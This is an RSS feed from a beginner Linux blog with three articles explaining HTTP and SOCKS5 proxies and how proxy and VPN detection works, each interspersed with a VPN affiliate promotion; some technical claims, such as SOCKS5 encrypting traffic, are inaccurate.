<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Networking &#8211; NoobLinux</title>
	<atom:link href="https://nooblinux.com/category/networking/feed/" rel="self" type="application/rss+xml" />
	<link>https://nooblinux.com</link>
	<description>Linux Tutorials Aimed at Beginners</description>
	<lastBuildDate>Thu, 12 Dec 2024 19:11:00 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9</generator>

<image>
	<url>https://nooblinux.com/wp-content/uploads/2021/10/cropped-MOSHED-2021-10-19-23-49-53-e1634757568151-32x32.jpg</url>
	<title>Networking &#8211; NoobLinux</title>
	<link>https://nooblinux.com</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">198948974</site>	<item>
		<title>HTTP vs SOCKS5 Proxy: What are the Differences &#038; Benefits?</title>
		<link>https://nooblinux.com/http-vs-socks5-proxy-what-are-differences-benefits/</link>
					<comments>https://nooblinux.com/http-vs-socks5-proxy-what-are-differences-benefits/#respond</comments>
		
		<dc:creator><![CDATA[Tonny Gidraph]]></dc:creator>
		<pubDate>Sun, 09 Apr 2023 19:14:31 +0000</pubDate>
				<category><![CDATA[Proxies]]></category>
		<category><![CDATA[Networking]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3810</guid>

					<description><![CDATA[Have you ever wondered how your device communicates with the internet or how you can browse the internet anonymously? If so, you may have encountered the term &#8220;proxy server.&#8221; A proxy server acts as an intermediary between your device and the internet, allowing you to access websites and online services more securely and anonymously. Whether [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Have you ever wondered how your device communicates with the internet or how you can browse the internet anonymously? If so, you may have encountered the term &#8220;proxy server.&#8221;</p>



<p>A proxy server acts as an intermediary between your device and the internet, allowing you to access websites and online services more securely and anonymously. Whether you&#8217;re a casual internet user or a professional looking to protect sensitive data, understanding the differences between HTTP and SOCKS5 proxies can be essential to getting the most out of your online experience.</p>



<figure class="wp-block-image"><img decoding="async" src="https://lh6.googleusercontent.com/bw9rnHNg8DwbGC_OL-VjSjLErEJQs_RQYNB70RZjefUWMAhXahzTLF_BfmwQM5Yal8LMZs2xm3KkEYvs13HiHcAbdrHJEJWGGLkrXsgKtxoC4n7uAFNhSs4j9NuDb48xeqsa0hYeyS_mxddPIkC6UQ" alt=""/></figure>



<p>Proxies play a crucial role in internet browsing because they allow users to access websites that may be blocked in their region or organization. Additionally, they provide an additional layer of security and privacy by hiding your IP address and other identifying information from the websites you visit.</p>



<p>There are different types of proxy servers, but two of the most commonly used ones are:</p>



<ul class="wp-block-list">
<li>HTTP proxies</li>



<li>SOCKS5 proxies</li>
</ul>



<p>HTTP proxies are widely used in web browsing, while SOCKS5 proxies are commonly used for more advanced purposes such as online gaming and peer-to-peer (P2P) file sharing.&nbsp;</p>



<p>This article will explore the differences between HTTP and SOCKS5 proxies to help you understand which is right.</p>



<style>
.animated-button {
    position: relative;
    background: #1ebce6;
    padding: 12px 20px;
    border-radius: 6px;
    text-decoration: none;
    font-weight: bold;
    color: #1a1a1a;
    isolation: isolate;
    overflow: hidden;
}

.animated-button::before {
    content: '';
    position: absolute;
    top: -2px;
    left: -2px;
    right: -2px;
    bottom: -2px;
    background: linear-gradient(90deg, #1ebce6, #37DE8F, #1ebce6);
    background-size: 200% 200%;
    z-index: -1;
    border-radius: 8px;
    animation: moveGradient 3s linear infinite;
}

@keyframes moveGradient {
    0% {
        background-position: 0% 50%;
    }
    100% {
        background-position: 200% 50%;
    }
}
</style>

<div class="promo-banner" style="background: linear-gradient(45deg, #1a1a1a, #2d2d2d); border: 1px solid #1ebce6; border-radius: 8px; padding: 16px; margin: 20px 0; position: relative;">
    <div class="promo-content" style="display: flex; align-items: center; gap: 20px;">
        <div style="flex: 3;">
            <img decoding="async" src="https://nooblinux.com/wp-content/uploads/2024/12/vpn_baron_logo.webp" alt="VPNBaron" style="height: 35px; margin-bottom: 8px;">
            <p style="color: #1ebce6; margin: 0 0 8px 0;"><strong>🔥 My go-to VPN: 60% Off Special</strong></p>
            <p style="color: #ffffff; margin: 8px 0; font-size: 15px;">
                Been using VPNBaron as my go-to for years. Their Trojan protocol makes it actually undetectable when needed, support is crazy responsive, and they&#8217;re running a rare 60% off right now. Works on all devices, adapts to whatever you&#8217;re trying to do.
            </p>
        </div>
        <div style="flex: 1; text-align: center;">
            <a href="https://vpnbaron.com/members/link.php?id=2" target="_blank" class="animated-button" rel="noopener" data-wpel-link="exclude">1.99$/month</a>
        </div>
    </div>
</div>



<h2 id="what-are-http-proxies" class="wp-block-heading">What are HTTP proxies?</h2>



<p>Before diving deeper into HTTP proxies, let’s first understand the HTTP protocol. HTTP, which stands for Hypertext Transfer Protocol, is an application layer protocol to transfer information between clients, web browsers, and servers. As a client-server protocol, HTTP enables clients to send requests to servers for various data elements, including pages, images, and videos.</p>



<p>An HTTP proxy, also known as a web proxy, is a server that acts as an intermediary between a user&#8217;s device and the internet. When a user sends a request to a website, the request first goes through the HTTP proxy server, which then forwards the request to the website. Similarly, when the website responds, the response goes through the HTTP proxy server before reaching the user&#8217;s device.</p>



<figure class="wp-block-image"><img decoding="async" src="https://lh6.googleusercontent.com/aUm1hiUPdSE30wxD4upRyIDapyZQUdlZx7SZesDAN_b_P5sjEBWVSRAO2vstzR5rj6SxYgCBGhsQO9u6cg6SoNRNYWO0H-KzHv4d1ywv-oK_D3I35ac70q4CjtHYT8y-FW0GIzRPFtPyxekyCMXyAw" alt=""/></figure>



<p>HTTP proxies work by intercepting and forwarding HTTP requests and responses. When a user requests a website, the request is sent to the HTTP proxy server, which checks its cache for a cached copy of the website. If a cached copy is available, the server delivers it to the user without contacting the website. If a cached copy is unavailable, the HTTP proxy server sends the request to the website and receives the response before forwarding it to the user.</p>



<p>Some of the advantages of using HTTP proxies include the following:</p>



<ul class="wp-block-list">
<li>Accessing websites that are blocked by a firewall or geographical restrictions</li>



<li>Improving the speed of web browsing by caching frequently requested websites</li>



<li>Providing an additional layer of anonymity when browsing the web.&nbsp;</li>



<li>Businesses may also use HTTP proxies to monitor and control employee internet usage.</li>
</ul>



<p>However, HTTP proxies may not be suitable for more advanced purposes such as gaming or P2P file sharing because they are designed primarily for web browsing and transferring information between clients and servers.&nbsp;</p>



<p>Gaming and P2P file sharing typically require more complex and specialized network configurations and may involve larger amounts of data transfer, which HTTP proxies may not be able to handle efficiently. HTTP proxies may also pose a security risk as they can intercept and view the user&#8217;s web traffic.</p>



<h2 id="what-are-socks5-proxies" class="wp-block-heading">What are SOCKS5 proxies?</h2>



<p>A SOCKS5 proxy is a type of proxy server that routes traffic at the network level. It differs from HTTP proxies in that it is not limited to HTTP traffic and can handle traffic from protocols such as FTP, SMTP, and POP3. SOCKS5 proxies are commonly used for online gaming, P2P file sharing, and other advanced services.</p>



<p>SOCKS5 proxies work by establishing a TCP connection between the user&#8217;s device and the SOCKS5 proxy server. Once the connection is established, the user&#8217;s device sends traffic to the SOCKS5 proxy server, which then forwards the traffic to its destination. Unlike HTTP proxies, SOCKS5 proxies do not intercept or modify the traffic in any way.</p>



<figure class="wp-block-image"><img decoding="async" src="https://lh4.googleusercontent.com/E5fxgnXagiu4lcdwwxkQNSQYp7qYgJ_Kl0tsCdXK_GrjrdADW4RqgGUojfEuAz1dmkJKXL5v7BmyPElRW7uSaiJwtLR0368aFi9egDaE_sS0y5QlQq4mQhz0pnx31bg8diy4O5JOrOrlSnNmzb6exdQ" alt=""/></figure>



<p>One advantage of a SOCKS5 proxy is that it can handle traffic from a wide range of protocols, making it suitable for advanced purposes such as gaming and P2P file sharing. Additionally, SOCKS5 proxies provide an additional layer of security and privacy by hiding the user&#8217;s IP address and other identifying information from the websites they visit. However, SOCKS5 proxies may be slower than HTTP proxies as they do not cache frequently requested websites.</p>



<p>Common use cases for SOCKS5 proxies include online gaming, P2P file sharing, accessing websites blocked by a firewall or geographical restrictions, and providing anonymity when browsing the web. Businesses may also use SOCKS5 proxies to monitor and control employee internet usage.</p>



<h2 id="differences-between-http-and-socks5-proxies" class="wp-block-heading">Differences between HTTP and SOCKS5 Proxies</h2>



<p>Although HTTP and SOCKS5 Proxies serve the same basic purpose of hiding the user&#8217;s IP address and providing a layer of anonymity, there are some key differences between them. This section will explore the differences between HTTP and SOCKS5 proxies. By understanding these differences, users can make an informed choice when it comes to selecting the right proxy for their needs.</p>



<h3 id="protocol-differences" class="wp-block-heading">Protocol differences</h3>



<p>HTTP proxies are designed specifically for handling HTTP traffic, while SOCKS5 proxies can handle traffic from a wide range of protocols, including FTP, SMTP, and POP3. This makes SOCKS5 proxies more suitable for advanced purposes such as gaming and P2P file sharing.</p>



<h3 id="authentication-methods" class="wp-block-heading">Authentication methods</h3>



<p>HTTP proxies typically use basic authentication methods such as username and password, while SOCKS5 proxies offer more advanced authentication methods such as GSSAPI (Generic Security Services Application Programming Interface) and NTLM (Windows NT LAN Manager). This makes SOCKS5 proxies more secure than HTTP proxies.</p>



<h3 id="performance-differences" class="wp-block-heading">Performance differences</h3>



<p>Regarding performance and functionality, HTTP proxies offer the advantage of caching frequently requested websites, which can speed up web browsing. However, this feature is not available with SOCKS5 proxies. On the other hand, SOCKS5 proxies are generally faster than HTTP proxies for handling non-HTTP traffic due to their protocol-independent nature.&nbsp;</p>



<h3 id="security-differences" class="wp-block-heading">Security differences</h3>



<p>HTTP proxies can pose a security risk as they intercept and view the user&#8217;s web traffic, while SOCKS5 proxies do not intercept or modify traffic in any way. Additionally, SOCKS5 proxies offer an additional layer of security by hiding the user&#8217;s IP address and other identifying information from the websites they visit.</p>



<h2 id="factors-to-consider-when-choosing-a-proxy" class="wp-block-heading">Factors to consider when choosing a proxy</h2>



<p>When choosing an HTTP or SOCKS5 proxy, it&#8217;s important to consider several factors.&nbsp;</p>



<h3 id="types-of-traffic-to-be-handled" class="wp-block-heading">Types of traffic to be handled</h3>



<p>First, users should evaluate their specific needs and determine what kind of traffic they will send through the proxy server. HTTP proxies are optimized for handling HTTP traffic, while SOCKS5 proxies are designed to handle a variety of protocols. Therefore, users who require advanced protocols, such as FTP or P2P file sharing, may find SOCKS5 proxies more suitable for their needs.</p>



<h3 id="level-of-security-required" class="wp-block-heading">Level of security required</h3>



<p>Another factor to consider is the level of security required. SOCKS5 proxies offer more advanced authentication methods and an additional layer of security, which may be important for users who are concerned about privacy and security. On the other hand, HTTP proxies may be sufficient for users primarily concerned with accessing blocked websites and do not require additional security features.</p>



<h3 id="users-specific-needs" class="wp-block-heading">User&#8217;s specific needs</h3>



<p>Budget is also an important consideration when choosing a proxy. HTTP proxies are generally more affordable than SOCKS5 proxies, making them a better choice for users on a tight budget. However, users who require advanced features and security may need to invest more in a SOCKS5 proxy to get the level of service they require.</p>



<h2 id="wrapping-up" class="wp-block-heading">Wrapping Up</h2>



<p>HTTP and SOCKS5 proxies enable users to hide their IP address and access geo-restricted content. However, there are notable differences between the two, such as the level of encryption, the type of traffic supported, and how they handle DNS requests.</p>



<p>If you prioritize speed and compatibility with most web applications, HTTP proxies may be a better choice for you. On the other hand, if you need more advanced features like authentication and UDP traffic support, SOCKS5 proxies may be the way to go.</p>



<p>Do you have any comments or queries about this post? Please, don’t hesitate to let us know in the comments below.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/http-vs-socks5-proxy-what-are-differences-benefits/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3810</post-id>	</item>
		<item>
		<title>What is a SOCKS5 Proxy: Understanding SOCKS Proxies</title>
		<link>https://nooblinux.com/what-is-a-socks5-proxy-understanding-socks-proxies/</link>
					<comments>https://nooblinux.com/what-is-a-socks5-proxy-understanding-socks-proxies/#respond</comments>
		
		<dc:creator><![CDATA[Tonny Gidraph]]></dc:creator>
		<pubDate>Sun, 09 Apr 2023 18:54:22 +0000</pubDate>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[Proxies]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3799</guid>

					<description><![CDATA[With the advancement in technology and as more services go online, people are getting concerned with maintaining online security and privacy more critical than ever. SOCKS5 proxies are one of the well-liked ways people protect their online identities and remain secure while using the internet. SOCKS5 proxies send internet traffic through a remote server which [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>With the advancement in technology and as more services go online, people are getting concerned with maintaining online security and privacy more critical than ever. SOCKS5 proxies are one of the well-liked ways people protect their online identities and remain secure while using the internet. SOCKS5 proxies send internet traffic through a remote server which masks their public IP address and encrypts their data.</p>



<p>This post will give you a comprehensive understanding of SOCKS5 proxies and even how to setup SOCKS5 on your operating system and browser.</p>



<h2 id="understanding-socks-proxies" class="wp-block-heading">Understanding SOCKS proxies</h2>



<p>SOCKS, a short form for “Socket Secure,” has been around for some time and there have been several releases over the years. The first version of SOCKS was released in the early 1990s to enable users to connect to a server through a firewall without compromising security. Since then, there have been different versions of SOCKS, with every new version including support for more advanced features.</p>



<p>The two most widely used SOCKS proxy variants at the moment are SOCKS4 proxies and SOCKS5 proxies.</p>



<p>SOCKS4 was the first major update after the first SOCKS proxy version, and it came with quite some advanced features that were absent in the earlier versions. They include:</p>



<ul class="wp-block-list">
<li><strong>Improved authentication</strong>: SOCKS4 introduced a more secure authentication that used the client’s IP address.</li>



<li><strong>Support for TCP/IP protocols</strong>: SOCKS4 included support for various TCP/IP proctors like TCP, UDP, and ICMP. That meant SOCKS4 could handle a wide range of internet traffic, including file transfers, email, and other applications.</li>



<li><strong>Better firewall traversal</strong>: Sending data through different firewalls was problematic for earlier SOCKS releases. In order to help SOCKS traffic get around firewalls and other network limitations, SOCKS4 included a number of optimizations.</li>



<li><strong>Faster speeds</strong>: SOCKS4 boasted improved connection times and reduced latency.</li>
</ul>



<p>Despite these significant improvements, SOCKS4 still had a few limitations. These included:</p>



<ul class="wp-block-list">
<li><strong>Lack of UDP support</strong>: This meant SOCKS4 could not handle applications that require UDP support, such as online gaming, streaming, and video conferencing.</li>



<li><strong>Limited authentication</strong>: SOCKS4 authentication was based on the client’s IP address. Although that was reliable then, SOCKS5 later included more advanced authentication methods.</li>



<li><strong>Limited DNS support</strong>: Lack of in-built support for Domain Name System (DNS) resolution meant SOCKS4 could not handle traffic from domain names.</li>



<li><strong>Support for IPv6</strong>: Lack of support for IPV6 meant that SOCKS4 was less future-proof than its successor, SOCKS5.</li>
</ul>



<h2 id="what-is-a-socks5-proxy" class="wp-block-heading">What is a SOCKS5 proxy?</h2>



<p>The SOCKS5 proxy, like other proxies, enables users to channel their internet data through a remote server, enhancing privacy and security. When a user connects to a website using a SOCKS5 proxy, their IP address is masked, and their internet traffic is encrypted, making it much harder for anyone to monitor their activity or steal their data.</p>



<p>However, you will notice significant differences when you compare the SOCKS5 proxy to other proxies like the HTTP proxy. SOCKS5 proxies offer greater flexibility and security. While HTTP proxies only handle HTTP traffic, SOCKS5 proxies can handle traffic from any application, including email, FTP, and torrent clients. Additionally, SOCKS5 proxies support TCP and UDP traffic, allowing them to handle a wider range of applications than other proxies.</p>



<p>Another important distinction between SOCKS5 proxies and other types of proxies is that SOCKS5 proxies do not modify the user&#8217;s data in any way. This means that applications like VoIP, video conferencing, and online gaming work seamlessly with SOCKS5 proxies, unlike others that may cause connection issues or decrease network speeds.</p>



<h3 id="authentication-methods-supported-by-socks5-proxies" class="wp-block-heading">Authentication Methods Supported by SOCKS5 Proxies</h3>



<p>SOCKS5 proxies offer three authentication methods:</p>



<ul class="wp-block-list">
<li><strong>Null authentication</strong>: This is the usual approach. Connecting to the proxy server doesn&#8217;t require authentication.</li>



<li><strong>Username/password authentication</strong>: This method of authentication requires users to provide a username and password to connect to the SOCKS5 proxy server. This method provides a basic level of security for SOCKS5 proxies.</li>



<li><strong>GSS-API authentication</strong>: This is a more secure system-level authentication method that verifies the user&#8217;s identity. It uses a ticket-granting ticket (TGT) to authenticate the user and provides more robust security for SOCKS5 proxies.</li>
</ul>



<h3 id="benefits-of-using-a-socks5-proxy" class="wp-block-heading">Benefits of Using a SOCKS5 Proxy</h3>



<p>Using a SOCKS5 proxy has several benefits, which include:</p>



<ul class="wp-block-list">
<li><strong>Increased security and privacy</strong>: SOCKS5 proxies encrypt your data and hide your IP address, providing better protection for your online activities.</li>



<li><strong>Access to geo-restricted content</strong>: One of the benefits of using a SOCKS5 proxy is the ability to bypass geographical restrictions and access content that may be restricted in your region. This can enable you to access websites, services, and other content that you might not be able to access otherwise.</li>



<li><strong>Greater flexibility and compatibility</strong>: SOCKS5 proxies are compatible with different applications, making them a more versatile option than other proxies.</li>
</ul>



<p>However, there are also some drawbacks to using SOCKS5 proxies. One of the most significant is that they require more configuration and technical expertise to set up than other proxies.&nbsp;</p>



<p>Another drawback is that SOCKS5 proxies may cause a slowdown in your internet connection due to the additional overhead of encryption and routing. This can lead to longer load times and reduced speeds when browsing the internet. However, the extent of the slowdown can depend on several factors, such as the quality of the proxy service and the distance between you and the proxy server.</p>



<h2 id="is-a-socks5-proxy-better-than-a-vpn" class="wp-block-heading">Is a SOCKS5 proxy better than a VPN?</h2>



<p>Both SOCKS5 proxies and VPNs (Virtual Private Networks) are effective tools for improving online security and privacy. However, the choice between the two depends on your individual needs and use case. There is no one-size-fits-all solution, as both proxies and VPNs have their unique advantages and disadvantages.</p>



<p>SOCKS5 proxies are ideal for users who want to mask their IP address and encrypt their internet traffic for specific applications, such as torrenting, online gaming, or accessing geo-restricted content. SOCKS5 proxies offer greater flexibility regarding which applications they can handle, as they do not modify user data and can handle both TCP and UDP traffic.</p>



<p>On the other hand, VPNs offer a more comprehensive solution for protecting online privacy and security. VPNs encrypt all of a user&#8217;s internet traffic, not just traffic from specific applications, providing greater protection. VPNs also offer additional features, such as choosing server locations and switching between protocols for optimized performance.</p>



<p>In terms of speed, SOCKS5 proxies tend to be faster than VPNs, as they do not require as much processing overhead. However, this can also make SOCKS5 proxies less secure than VPNs, as they do not provide the same level of encryption and protection.</p>



<h2 id="best-practices-for-using-socks5-proxies" class="wp-block-heading">Best practices for using SOCKS5 proxies:</h2>



<p>When using a SOCKS5 proxy, there are several important steps you can take to ensure that your online activities are secure and protected. In this section, we&#8217;ll explore five key steps you can take to stay safe when using a SOCKS5 proxy.</p>



<ul class="wp-block-list">
<li>Choose a reputable SOCKS5 proxy provider: It&#8217;s important to select a trustworthy and reliable SOCKS5 proxy provider to ensure that your online activities are protected. Look for providers with a proven track record of delivering quality services.</li>



<li>Use a SOCKS5 proxy server that is geographically close to your location to reduce latency: When selecting a SOCKS5 proxy server, choose one that is located close to your physical location. This will help reduce latency and improve the speed of your internet connection.</li>



<li>Always use encryption when using a SOCKS5 proxy: Encryption is an important security measure when using a SOCKS5 proxy. Make sure that your proxy provider offers encryption, and ensure that your connection is encrypted when you&#8217;re using the proxy.</li>



<li>Use strong and unique passwords for any accounts associated with your SOCKS5 proxy: If you need to create an account to use your SOCKS5 proxy provider&#8217;s services, make sure to use strong and unique passwords. Avoid using the same password across multiple accounts, as this increases the risk of your accounts being compromised.</li>



<li>Keep your operating system and applications up to date with the latest security patches: To ensure that your system is secure, always keep your operating system and applications up to date with the latest security patches. This will help protect against known vulnerabilities that could be exploited by attackers.</li>
</ul>



<h2 id="socks5-vs-http-proxy" class="wp-block-heading">SOCKS5 vs HTTP proxy</h2>



<p>SOCKS5 and HTTP proxies are both types of proxies used to reroute internet traffic. SOCKS5 is a more advanced and secure protocol compared to HTTP. While HTTP proxies are commonly used for web browsing, SOCKS5 can be used for a wider range of applications, including torrenting and gaming. SOCKS5 also offers authentication methods, including null authentication, username/password authentication, and GSS-API authentication.&nbsp;</p>



<p>For a more detailed comparison between SOCKS5 and HTTP proxies, you can check out our blog post titled &#8220;SOCKS5 vs. HTTP Proxy: Which One Should You Use? (Add link to other post)&#8221;</p>



<h2 id="should-you-use-a-free-socks5-proxy" class="wp-block-heading">Should You Use a Free SOCKS5 Proxy?</h2>



<p>While it may be tempting to use a free SOCKS5 proxy, it is generally not recommended. Free proxies often come with several downsides that can put your online security and privacy at risk.</p>



<p>Firstly, free proxies can be very slow and unreliable. This is because free proxy providers often have limited resources and cannot afford to maintain a robust infrastructure. As a result, you may experience slow speeds, connection drops, or even total connection failures, which can be frustrating and counterproductive.</p>



<p>Secondly, free SOCKS5 proxies can pose privacy issues. Many free proxies are operated by malicious actors who can monitor your internet traffic and collect your sensitive data, such as login credentials, credit card details, or personal information. This can result in identity theft, financial fraud, and other serious consequences.</p>



<p>Finally, free proxies may come bundled with malware or other harmful software that can infect your device and compromise your security. This is because free proxies are often used as a distribution channel for malware and other cyber threats, which can harm your device and steal your data.</p>



<p>While free SOCKS5 proxies may seem like an attractive option, the risks and downsides outweigh the benefits. It is recommended to use a paid SOCKS5 proxy service from a reputable provider for a safer and more reliable browsing experience.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>SOCKS5 proxies are a powerful tool for enhancing online security and privacy. They allow users to mask their IP address, encrypt their data, access geo-restricted content, and bypass censorship. While SOCKS5 proxies offer greater flexibility and compatibility with different types of applications than other types of proxies, they do require more technical expertise to set up and may slow down internet connections. Overall, SOCKS5 proxies provide a valuable solution for users who want to protect their online identity and stay safe while browsing the internet.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/what-is-a-socks5-proxy-understanding-socks-proxies/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3799</post-id>	</item>
		<item>
		<title>Proxy/VPN Check: Am I Using a Proxy or VPN? How IP Detection Works</title>
		<link>https://nooblinux.com/proxy-vpn-check-am-i-using-a-proxy-or-vpn/</link>
					<comments>https://nooblinux.com/proxy-vpn-check-am-i-using-a-proxy-or-vpn/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Mon, 20 Mar 2023 00:44:27 +0000</pubDate>
				<category><![CDATA[Website Tools & Resources]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Proxies]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3768</guid>

					<description><![CDATA[🔥 My go-to VPN: 60% Off Special Been using VPNBaron as my go-to for years. Their Trojan protocol makes it actually undetectable when needed, support is crazy responsive, and they&#8217;re running a rare 60% off right now. Works on all devices, adapts to whatever you&#8217;re trying to do. 1.99$/month In today&#8217;s digital world, more internet [&#8230;]]]></description>
										<content:encoded><![CDATA[<div class='proxy-detector-container'>Proxy: Yes<span class='pulse proxy'></span><br>VPN: Yes<span class='pulse vpn'></span><br>IP: 89.124.117.79<br>Country: NL<br>City: Amsterdam<br>Region: North Holland<br>ASN: AS216071<br>Provider: SERVERS TECH FZCO<br></div>



<style>
.animated-button {
    position: relative;
    background: #1ebce6;
    padding: 12px 20px;
    border-radius: 6px;
    text-decoration: none;
    font-weight: bold;
    color: #1a1a1a;
    isolation: isolate;
    overflow: hidden;
}

.animated-button::before {
    content: '';
    position: absolute;
    top: -2px;
    left: -2px;
    right: -2px;
    bottom: -2px;
    background: linear-gradient(90deg, #1ebce6, #37DE8F, #1ebce6);
    background-size: 200% 200%;
    z-index: -1;
    border-radius: 8px;
    animation: moveGradient 3s linear infinite;
}

@keyframes moveGradient {
    0% {
        background-position: 0% 50%;
    }
    100% {
        background-position: 200% 50%;
    }
}
</style>

<div class="promo-banner" style="background: linear-gradient(45deg, #1a1a1a, #2d2d2d); border: 1px solid #1ebce6; border-radius: 8px; padding: 16px; margin: 20px 0; position: relative;">
    <div class="promo-content" style="display: flex; align-items: center; gap: 20px;">
        <div style="flex: 3;">
            <img decoding="async" src="https://nooblinux.com/wp-content/uploads/2024/12/vpn_baron_logo.webp" alt="VPNBaron" style="height: 35px; margin-bottom: 8px;">
            <p style="color: #1ebce6; margin: 0 0 8px 0;"><strong>🔥 My go-to VPN: 60% Off Special</strong></p>
            <p style="color: #ffffff; margin: 8px 0; font-size: 15px;">
                Been using VPNBaron as my go-to for years. Their Trojan protocol makes it actually undetectable when needed, support is crazy responsive, and they&#8217;re running a rare 60% off right now. Works on all devices, adapts to whatever you&#8217;re trying to do.
            </p>
        </div>
        <div style="flex: 1; text-align: center;">
            <a href="https://vpnbaron.com/members/link.php?id=2" target="_blank" class="animated-button" rel="noopener" data-wpel-link="exclude">1.99$/month</a>
        </div>
    </div>
</div>



<p>In today&#8217;s digital world, more internet users are turning to proxies and VPNs to maintain their online privacy and security.</p>



<p>While these tools can be beneficial, they can also be misused for malicious purposes or to bypass restrictions. </p>



<p>As a result, detecting proxies and VPNs has become increasingly important for website owners and administrators. </p>



<p class="neon-border has-palette-color-4-color has-black-background-color has-text-color has-background">In this article, we will discuss some of the methods used to detect proxies and VPNs and explain how this process works. We will also discuss the types of proxy servers, differences between VPNs and proxies, and whether all proxies and VPNs can be detected.</p>



<p>Additionally, we&#8217;ll explore if these tools can be traced back to the user&#8217;s real IP address and how this can be done.</p>



<p>Finally, we will address frequently asked questions about VPNs, proxies, and their detection. This article is designed to be easy to understand for beginners, with headings to make it simple to skim through.</p>






<h2 id="how-a-simple-proxy-or-vpn-detection-service-works" class="wp-block-heading">How a Simple Proxy or VPN Detection Service Works</h2>



<p>In easy-to-understand terms, a proxy or VPN detection service analyzes various aspects of a user&#8217;s connection to determine if they are using a proxy or VPN. </p>



<p><span style="text-decoration: underline;">Here&#8217;s a simple explanation of some of the detection methods</span>:</p>



<ol class="wp-block-list">
<li><strong>Response Headers</strong>: When a user connects to a website, their browser sends a request that includes certain information in the form of headers. Some proxy servers or VPNs add, modify, or remove specific headers that can be a telltale sign that a proxy or VPN is in use.</li>



<li><strong>IP Analysis</strong>: Proxy and VPN detection services maintain databases of known proxy and VPN IP addresses. By comparing a user&#8217;s IP address to this database, the service can determine if the IP address is associated with a proxy or VPN.</li>



<li><strong>Specialized APIs</strong>: Some detection services, like <a href="https://ProxyCheck.io" data-type="URL" data-id="https://ProxyCheck.io" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ProxyCheck.io<span class="wpel-icon wpel-image wpel-icon-19"></span></a> or <a href="https://ipqualityscore.com" data-type="URL" data-id="https://ipqualityscore.com" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">IPQualityScore.com<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, offer APIs (Application Programming Interfaces) that can perform more in-depth analysis of IP addresses and other connection attributes. These APIs may use advanced techniques, such as TCP fingerprinting or <a href="https://nooblinux.com/proxy-vpn-check-am-i-using-a-proxy-or-vpn/#what-is-a-vpn-leak-how-does-that-affect-you-and-how-can-it-be-fixed" data-wpel-link="internal">WebRTC leak detection</a>, to identify VPN and proxy usage.</li>
</ol>



<p class="purple-border has-palette-color-4-color has-black-background-color has-text-color has-background">In our example, we created a simple WordPress plugin that uses the <a href="https://ProxyCheck.io" data-type="URL" data-id="https://ProxyCheck.io" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ProxyCheck.io<span class="wpel-icon wpel-image wpel-icon-19"></span></a> API to detect proxies and VPNs. <br><br>The plugin sends a user&#8217;s IP address and other connection details to the API, which analyzes the information and returns a result indicating whether a proxy or VPN has been detected. <br><br>The plugin then displays this information to the user, along with other relevant data such as IP address, country, and ISP.</p>



<h2 id="what-is-a-proxy" class="wp-block-heading">What is a Proxy?</h2>



<p>In simple terms, <strong>a proxy is an intermediary server that sits between your computer and the internet</strong>. It acts as a &#8220;middleman,&#8221; relaying your requests to websites and forwarding the responses back to you.</p>



<p>By doing this, the proxy hides your real IP address, making it appear as if the requests are coming from the proxy server instead of your computer.</p>



<p><strong>A proxy server is typically a computer or a network device</strong> that has been set up to provide this intermediary service. It can be located anywhere in the world, and its primary function is to process and forward web traffic.</p>



<p><strong>Proxy servers are created and maintained by individuals, companies, or organizations for various purposes</strong>, such as enhancing privacy, improving performance through caching, or enabling access to geo-restricted content.</p>



<h3 id="types-of-proxy-servers" class="wp-block-heading">Types of Proxy Servers</h3>



<p>There are several types of proxy servers, each with its own characteristics and use cases:</p>



<ol class="wp-block-list">
<li><strong>HTTP Proxy</strong>: These proxies handle web traffic and are primarily used for web browsing. They can cache web pages and provide anonymity by masking the user&#8217;s IP address.</li>



<li><strong>SOCKS Proxy</strong>: A more versatile type of proxy that can handle various types of traffic, including HTTP, FTP, and more. SOCKS proxies provide anonymity but do not cache web pages.</li>



<li><strong>Transparent Proxy</strong>: These proxies do not provide anonymity, as they forward the user&#8217;s real IP address to the destination server. They are often used for caching and content filtering purposes.</li>



<li><strong>Anonymous Proxy</strong>: As the name suggests, these proxies focus on providing anonymity by hiding the user&#8217;s IP address and not disclosing any information about the user to the destination server.</li>



<li><strong>Elite Proxy</strong>: These proxies offer the highest level of anonymity by not only masking the user&#8217;s IP address but also hiding the fact that a proxy is being used.</li>
</ol>



<h2 id="what-is-a-vpn" class="wp-block-heading">What is a VPN?</h2>



<p><strong>A Virtual Private Network (VPN) is a service that creates a secure, encrypted connection between your computer and the internet</strong>. Like a proxy, a VPN also routes your web traffic through a remote server, hiding your real IP address and making it appear as if you are browsing from the location of the VPN server.</p>



<p><strong>However, a VPN goes a step further by encrypting your data, which adds an extra layer of security and privacy</strong>. This encryption ensures that your online activities remain private, even if your connection is intercepted by hackers or monitored by third parties.</p>



